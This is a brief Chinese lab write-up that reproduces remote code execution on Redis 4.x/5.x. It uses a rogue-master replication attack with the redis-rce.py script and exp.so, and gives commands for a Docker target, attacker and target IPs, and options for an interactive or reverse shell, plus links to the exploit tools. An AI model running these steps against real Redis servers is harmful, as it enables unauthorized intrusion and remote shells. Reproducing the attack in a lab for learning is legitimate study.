优势:可用在高版本redis上,redis4.x;5.x都可以,这些高版本的利用方式像:写入公钥,启动任务项都做了安全防护,不可用。
一、环境准备
靶机环境:kail的docker 拉取了个redis5.0
攻击环境:win10本地系统,推荐用linux脚本返回不会乱码
准备脚本:redis-rce.py、和so文件 (py有两个版本,下面链接的那个比较简单一些,so下面也有下载链接)
二、尝试复现
1.docker run -p 6379:6379 -d damonevking/redis5.0 redis-server //开启服务
2.docker ps //查看是否开启,前面拉取镜像的操作下面参考链接里有
3.将py脚本和so文件放到同目录下
4. python3.6 redis-rce.py -r 192.168.43.239 -L 192.168.43.183 -f exp.so //-r是靶机ip ,-L是攻击ip,要比另一个脚本使用简单些
输入i是交互式shell,输入r是反弹shell
三、总结和坑点:这个利用方式看了很久, 以为有难度,在看了seebug的利用方式后云里雾里的,还跟着去操作了主从复制操作,也有助于理解原理吧,但容易把自己绕进去。
总以为需要攻击机和靶机同事开启redis服务才可以攻击,再一个坑就是靶机的redis版本刚开始用的2.8的,有点低,主从复制方式好像实现不了。
https://github.com/Ridter/redis-rce //py脚本
https://github.com/n0b0dyCN/redis-rogue-server //so文件地址
https://blog.csdn.net/lansefly1990/article/details/98960236 //kail启动redis服务端(这个不需要)
参考链接:
https://www.cnblogs.com/paperpen/p/11178751.html // 这个简单直接看得懂
https://mp.weixin.qq.com/s/Eu0-R-ROU5vTUcnWrA9j3Q
https://paper.seebug.org/975/